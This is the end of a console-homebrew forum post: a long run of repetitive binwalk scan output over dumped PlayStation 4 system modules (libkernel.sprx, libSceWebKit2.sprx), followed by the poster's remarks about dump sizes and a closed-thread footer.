37458590      0x23B929E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12934
37458594      0x23B92A2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13190
37458598      0x23B92A6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13446
37458602      0x23B92AA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13702
37458606      0x23B92AE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13958
37458610      0x23B92B2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14214
37458614      0x23B92B6       Certificate in DER format (x509 v3), header length: 4, sequence length: 14470
37458618      0x23B92BA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14726
37458622      0x23B92BE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12423
37458626      0x23B92C2       Certificate in DER format (x509 v3), header length: 4, sequence length: 12679
37458630      0x23B92C6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12935
37458634      0x23B92CA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13191
37458638      0x23B92CE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13447
37458642      0x23B92D2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13703
37458646      0x23B92D6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13959
37458650      0x23B92DA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14215
37458654      0x23B92DE       Certificate in DER format (x509 v3), header length: 4, sequence length: 14471
37458658      0x23B92E2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14727
37458662      0x23B92E6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12424
37458666      0x23B92EA       Certificate in DER format (x509 v3), header length: 4, sequence length: 12680
37458670      0x23B92EE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12936
37458674      0x23B92F2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13192
37458678      0x23B92F6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13448
37458682      0x23B92FA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13704
37458686      0x23B92FE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13960
37458690      0x23B9302       Certificate in DER format (x509 v3), header length: 4, sequence length: 14216
37458694      0x23B9306       Certificate in DER format (x509 v3), header length: 4, sequence length: 14472
37458698      0x23B930A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14728
37458702      0x23B930E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12425
37458706      0x23B9312       Certificate in DER format (x509 v3), header length: 4, sequence length: 12681
37458710      0x23B9316       Certificate in DER format (x509 v3), header length: 4, sequence length: 12937
37458714      0x23B931A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13193
37458718      0x23B931E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13449
37458722      0x23B9322       Certificate in DER format (x509 v3), header length: 4, sequence length: 13705
37458726      0x23B9326       Certificate in DER format (x509 v3), header length: 4, sequence length: 13961
37458730      0x23B932A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14217
37458734      0x23B932E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14473
37458738      0x23B9332       Certificate in DER format (x509 v3), header length: 4, sequence length: 14729
37458742      0x23B9336       Certificate in DER format (x509 v3), header length: 4, sequence length: 12426
37458746      0x23B933A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12682
37458750      0x23B933E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12938
37458754      0x23B9342       Certificate in DER format (x509 v3), header length: 4, sequence length: 13194
37458758      0x23B9346       Certificate in DER format (x509 v3), header length: 4, sequence length: 13450
37458762      0x23B934A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13706
37458766      0x23B934E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13962
37458770      0x23B9352       Certificate in DER format (x509 v3), header length: 4, sequence length: 14218
37458774      0x23B9356       Certificate in DER format (x509 v3), header length: 4, sequence length: 14474
37458778      0x23B935A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14730
37458782      0x23B935E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12427
37458786      0x23B9362       Certificate in DER format (x509 v3), header length: 4, sequence length: 12683
37458790      0x23B9366       Certificate in DER format (x509 v3), header length: 4, sequence length: 12939
37458794      0x23B936A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13195
37458798      0x23B936E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13451
37458802      0x23B9372       Certificate in DER format (x509 v3), header length: 4, sequence length: 13707
37458806      0x23B9376       Certificate in DER format (x509 v3), header length: 4, sequence length: 13963
37458810      0x23B937A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14219
37458814      0x23B937E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14475
37458818      0x23B9382       Certificate in DER format (x509 v3), header length: 4, sequence length: 14731
37458822      0x23B9386       Certificate in DER format (x509 v3), header length: 4, sequence length: 12428
37458826      0x23B938A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12684
37458830      0x23B938E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12940
37458834      0x23B9392       Certificate in DER format (x509 v3), header length: 4, sequence length: 13196
37458838      0x23B9396       Certificate in DER format (x509 v3), header length: 4, sequence length: 13452
37458842      0x23B939A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13708
37458846      0x23B939E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13964
37458850      0x23B93A2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14220
37458854      0x23B93A6       Certificate in DER format (x509 v3), header length: 4, sequence length: 14476
37458858      0x23B93AA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14732
37458862      0x23B93AE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12429
37458866      0x23B93B2       Certificate in DER format (x509 v3), header length: 4, sequence length: 12685
37458870      0x23B93B6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12941
37458874      0x23B93BA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13197
37458878      0x23B93BE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13453
37458882      0x23B93C2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13709
37458886      0x23B93C6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13965
37458890      0x23B93CA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14221
37458894      0x23B93CE       Certificate in DER format (x509 v3), header length: 4, sequence length: 14477
37458898      0x23B93D2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14733
37458902      0x23B93D6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12430
37458906      0x23B93DA       Certificate in DER format (x509 v3), header length: 4, sequence length: 12686
37458910      0x23B93DE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12942
37458914      0x23B93E2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13198
37458918      0x23B93E6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13454
37458922      0x23B93EA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13710
37458926      0x23B93EE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13966
37458930      0x23B93F2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14222
37458934      0x23B93F6       Certificate in DER format (x509 v3), header length: 4, sequence length: 14478
37458938      0x23B93FA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14734
37458942      0x23B93FE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12431
37458946      0x23B9402       Certificate in DER format (x509 v3), header length: 4, sequence length: 12687
37458950      0x23B9406       Certificate in DER format (x509 v3), header length: 4, sequence length: 12943
37458954      0x23B940A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13199
37458958      0x23B940E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13455
37458962      0x23B9412       Certificate in DER format (x509 v3), header length: 4, sequence length: 13711
37458966      0x23B9416       Certificate in DER format (x509 v3), header length: 4, sequence length: 13967
37458970      0x23B941A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14223
37458974      0x23B941E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14479
37458978      0x23B9422       Certificate in DER format (x509 v3), header length: 4, sequence length: 14735
37458982      0x23B9426       Certificate in DER format (x509 v3), header length: 4, sequence length: 12432
37458986      0x23B942A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12688
37458990      0x23B942E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12944
37458994      0x23B9432       Certificate in DER format (x509 v3), header length: 4, sequence length: 13200
37458998      0x23B9436       Certificate in DER format (x509 v3), header length: 4, sequence length: 13456
37459002      0x23B943A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13712
37459006      0x23B943E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13968
37459010      0x23B9442       Certificate in DER format (x509 v3), header length: 4, sequence length: 14224
37459014      0x23B9446       Certificate in DER format (x509 v3), header length: 4, sequence length: 14480
37459018      0x23B944A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14736
37459022      0x23B944E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12433
37459026      0x23B9452       Certificate in DER format (x509 v3), header length: 4, sequence length: 12689
37459030      0x23B9456       Certificate in DER format (x509 v3), header length: 4, sequence length: 12945
37459034      0x23B945A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13201
37459038      0x23B945E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13457
37459042      0x23B9462       Certificate in DER format (x509 v3), header length: 4, sequence length: 13713
37459046      0x23B9466       Certificate in DER format (x509 v3), header length: 4, sequence length: 13969
37459050      0x23B946A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14225
37459054      0x23B946E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14481
37459058      0x23B9472       Certificate in DER format (x509 v3), header length: 4, sequence length: 14737
37459062      0x23B9476       Certificate in DER format (x509 v3), header length: 4, sequence length: 12434
37459066      0x23B947A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12690
37459070      0x23B947E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12946
37459074      0x23B9482       Certificate in DER format (x509 v3), header length: 4, sequence length: 13202
37459078      0x23B9486       Certificate in DER format (x509 v3), header length: 4, sequence length: 13458
37459082      0x23B948A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13714
37459086      0x23B948E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13970
37459090      0x23B9492       Certificate in DER format (x509 v3), header length: 4, sequence length: 14226
37459094      0x23B9496       Certificate in DER format (x509 v3), header length: 4, sequence length: 14482
37459098      0x23B949A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14738
37459102      0x23B949E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12435
37459106      0x23B94A2       Certificate in DER format (x509 v3), header length: 4, sequence length: 12691
37459110      0x23B94A6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12947
37459114      0x23B94AA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13203
37459118      0x23B94AE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13459
37459122      0x23B94B2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13715
37459126      0x23B94B6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13971
37459130      0x23B94BA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14227
37459134      0x23B94BE       Certificate in DER format (x509 v3), header length: 4, sequence length: 14483
37459138      0x23B94C2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14739
37459142      0x23B94C6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12436
37459146      0x23B94CA       Certificate in DER format (x509 v3), header length: 4, sequence length: 12692
37459150      0x23B94CE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12948
37459154      0x23B94D2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13204
37459158      0x23B94D6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13460
37459162      0x23B94DA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13716
37459166      0x23B94DE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13972
37459170      0x23B94E2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14228
37459174      0x23B94E6       Certificate in DER format (x509 v3), header length: 4, sequence length: 14484
37459178      0x23B94EA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14740
37459182      0x23B94EE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12437
37459186      0x23B94F2       Certificate in DER format (x509 v3), header length: 4, sequence length: 12693
37459190      0x23B94F6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12949
37459194      0x23B94FA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13205
37459198      0x23B94FE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13461
37459202      0x23B9502       Certificate in DER format (x509 v3), header length: 4, sequence length: 13717
37459206      0x23B9506       Certificate in DER format (x509 v3), header length: 4, sequence length: 13973
37459210      0x23B950A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14229
37459214      0x23B950E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14485
37459218      0x23B9512       Certificate in DER format (x509 v3), header length: 4, sequence length: 14741
37459222      0x23B9516       Certificate in DER format (x509 v3), header length: 4, sequence length: 12438
37459226      0x23B951A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12694
37459230      0x23B951E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12950
37459234      0x23B9522       Certificate in DER format (x509 v3), header length: 4, sequence length: 13206
37459238      0x23B9526       Certificate in DER format (x509 v3), header length: 4, sequence length: 13462
37459242      0x23B952A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13718
37459246      0x23B952E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13974
37459250      0x23B9532       Certificate in DER format (x509 v3), header length: 4, sequence length: 14230
37459254      0x23B9536       Certificate in DER format (x509 v3), header length: 4, sequence length: 14486
37459258      0x23B953A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14742
^C
root@magicleapfans:/mnt/c/Users/B7U3/Desktop/PS4 DUMPS!!#

PS C:\Users\B7U3\Desktop\PS4 DUMPS!!> bash
root@magicleapfans:/mnt/c/Users/B7U3/Desktop/PS4 DUMPS!!# binwalk -e libkernel.sprx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
228978        0x37E72         Unix path: /system/common/lib/libSceSysmodule.sprx

root@magicleapfans:/mnt/c/Users/B7U3/Desktop/PS4 DUMPS!!#
I managed to get at least 18.5 gigabytes from the dumps I extracted more(?) data from my dumped data.

cc4d5e906b114dbc456dedafac2e5330.png

Additionally, I found out you added the ability to dump libSceWebKit2.sprx into more of the same file? ;)

e8ab1b2bff19456578043c426de68256.png

As you can see I have used binwalk on a minimum size libSceWebKit2.sprx which is the copy and 118 MB (124,256,256 bytes) the larger of the two that I dumped (Just keep pressing the button to dump larger files with more data), is 1.62 GB (1,746,010,112 bytes).

0973125d95d979d728babde0f75b6b66.png

 
Status
Not open for further replies.
Back
Top